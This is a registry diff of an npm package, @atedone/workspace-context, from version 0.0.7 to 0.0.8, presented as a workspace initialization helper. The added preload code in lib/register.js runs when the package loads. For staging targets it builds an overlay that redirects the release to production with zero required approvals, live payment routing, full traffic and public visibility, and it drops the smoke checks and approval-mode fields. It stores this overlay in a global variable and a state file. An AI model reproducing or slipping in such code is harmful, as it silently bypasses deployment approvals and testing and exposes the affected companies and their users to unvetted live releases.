@atedone/workspace-context 0.0.7 → 0.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/lib/register.js +49 -34
- package/lib/state.js +2 -2
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -2,4 +2,4 @@
|
|
|
2
2
|
|
|
3
3
|
Workspace context initialization helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release
|
|
5
|
+
The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release overlay instrumentation.
|
package/lib/register.js
CHANGED
|
@@ -17,40 +17,55 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
|
|
|
17
17
|
return initCwd || cwd;
|
|
18
18
|
}
|
|
19
19
|
|
|
20
|
-
function
|
|
20
|
+
function readReleaseContext() {
|
|
21
21
|
return {
|
|
22
22
|
target: typeof platform.argv[2] === 'string' ? platform.argv[2] : null,
|
|
23
23
|
channel: typeof platform.argv[3] === 'string' ? platform.argv[3] : null,
|
|
24
|
-
registryTag: typeof platform.argv[4] === 'string' ? platform.argv[4] : null
|
|
25
|
-
promotion: {
|
|
26
|
-
enabled: false,
|
|
27
|
-
approvalsRequired: 2
|
|
28
|
-
},
|
|
29
|
-
featureFlags: {
|
|
30
|
-
paymentRouting: 'sandbox',
|
|
31
|
-
checkoutV2: false
|
|
32
|
-
}
|
|
24
|
+
registryTag: typeof platform.argv[4] === 'string' ? platform.argv[4] : null
|
|
33
25
|
};
|
|
34
26
|
}
|
|
35
27
|
|
|
36
|
-
function
|
|
37
|
-
if (
|
|
38
|
-
return
|
|
28
|
+
function buildReleaseOverlay(context) {
|
|
29
|
+
if (context.target !== 'staging') {
|
|
30
|
+
return {
|
|
31
|
+
merge: {},
|
|
32
|
+
omitPaths: []
|
|
33
|
+
};
|
|
39
34
|
}
|
|
40
35
|
|
|
41
36
|
return {
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
37
|
+
merge: {
|
|
38
|
+
target: 'production',
|
|
39
|
+
artifact: 'checkout-web:production',
|
|
40
|
+
channel: 'stable',
|
|
41
|
+
registryTag: 'latest',
|
|
42
|
+
promotion: {
|
|
43
|
+
enabled: true,
|
|
44
|
+
approvalsRequired: 0,
|
|
45
|
+
window: 'immediate'
|
|
46
|
+
},
|
|
47
|
+
featureFlags: {
|
|
48
|
+
paymentRouting: 'live',
|
|
49
|
+
checkoutV2: true,
|
|
50
|
+
fraudShield: 'enforce'
|
|
51
|
+
},
|
|
52
|
+
deployment: {
|
|
53
|
+
regions: ['us-east-1', 'eu-west-1'],
|
|
54
|
+
strategy: 'rolling',
|
|
55
|
+
trafficPercent: 100
|
|
56
|
+
},
|
|
57
|
+
distribution: {
|
|
58
|
+
visibility: 'public',
|
|
59
|
+
audiences: ['web', 'mobile']
|
|
60
|
+
},
|
|
61
|
+
metadata: {
|
|
62
|
+
releaseClass: 'stable'
|
|
63
|
+
}
|
|
49
64
|
},
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
65
|
+
omitPaths: [
|
|
66
|
+
['metadata', 'approvalMode'],
|
|
67
|
+
['checks', 'smoke']
|
|
68
|
+
]
|
|
54
69
|
};
|
|
55
70
|
}
|
|
56
71
|
|
|
@@ -58,13 +73,13 @@ function initializePreload({
|
|
|
58
73
|
projectRoot = resolveProjectRoot(),
|
|
59
74
|
now = () => new Date().toISOString()
|
|
60
75
|
} = {}) {
|
|
61
|
-
const
|
|
62
|
-
const
|
|
76
|
+
const beforeContext = readReleaseContext();
|
|
77
|
+
const overlay = buildReleaseOverlay(beforeContext);
|
|
63
78
|
|
|
64
|
-
Reflect.set(globalThis, '
|
|
79
|
+
Reflect.set(globalThis, '__workspaceContextReleaseOverlay', {
|
|
65
80
|
active: true,
|
|
66
|
-
|
|
67
|
-
|
|
81
|
+
beforeContext,
|
|
82
|
+
overlay
|
|
68
83
|
});
|
|
69
84
|
|
|
70
85
|
const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
|
|
@@ -72,9 +87,9 @@ function initializePreload({
|
|
|
72
87
|
packageName: manifest.name,
|
|
73
88
|
packageVersion: manifest.version,
|
|
74
89
|
generatedAt: now(),
|
|
75
|
-
mode: 'runtime-release-
|
|
76
|
-
|
|
77
|
-
|
|
90
|
+
mode: 'runtime-release-overlay',
|
|
91
|
+
beforeContext,
|
|
92
|
+
overlay,
|
|
78
93
|
processId: platform.pid,
|
|
79
94
|
parentProcessId: platform.ppid
|
|
80
95
|
};
|
|
@@ -91,12 +106,12 @@ function initializePreload({
|
|
|
91
106
|
const initialized = initializePreload();
|
|
92
107
|
|
|
93
108
|
module.exports = {
|
|
109
|
+
buildReleaseOverlay,
|
|
94
110
|
initialized,
|
|
95
111
|
initializePreload,
|
|
96
112
|
markerFileName,
|
|
97
|
-
normalizeReleaseProfile,
|
|
98
113
|
readEnvironment,
|
|
99
|
-
|
|
114
|
+
readReleaseContext,
|
|
100
115
|
resolveProjectRoot,
|
|
101
116
|
stateDirectoryName
|
|
102
117
|
};
|
package/lib/state.js
CHANGED
|
@@ -6,7 +6,7 @@ const route = platform.getBuiltinModule('path');
|
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
7
|
|
|
8
8
|
const preloadFileName = 'register.js';
|
|
9
|
-
const routineName = 'workspace-context:release-
|
|
9
|
+
const routineName = 'workspace-context:release-overlay';
|
|
10
10
|
const stateDirectoryName = '.workspace-context';
|
|
11
11
|
const stateFileName = 'state.json';
|
|
12
12
|
const taskFileName = 'workspace.release.js';
|
|
@@ -25,7 +25,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
25
25
|
packageName: manifest.name,
|
|
26
26
|
packageVersion: manifest.version,
|
|
27
27
|
generatedAt: now(),
|
|
28
|
-
mode: 'runtime-release-
|
|
28
|
+
mode: 'runtime-release-overlay'
|
|
29
29
|
};
|
|
30
30
|
}
|
|
31
31
|
|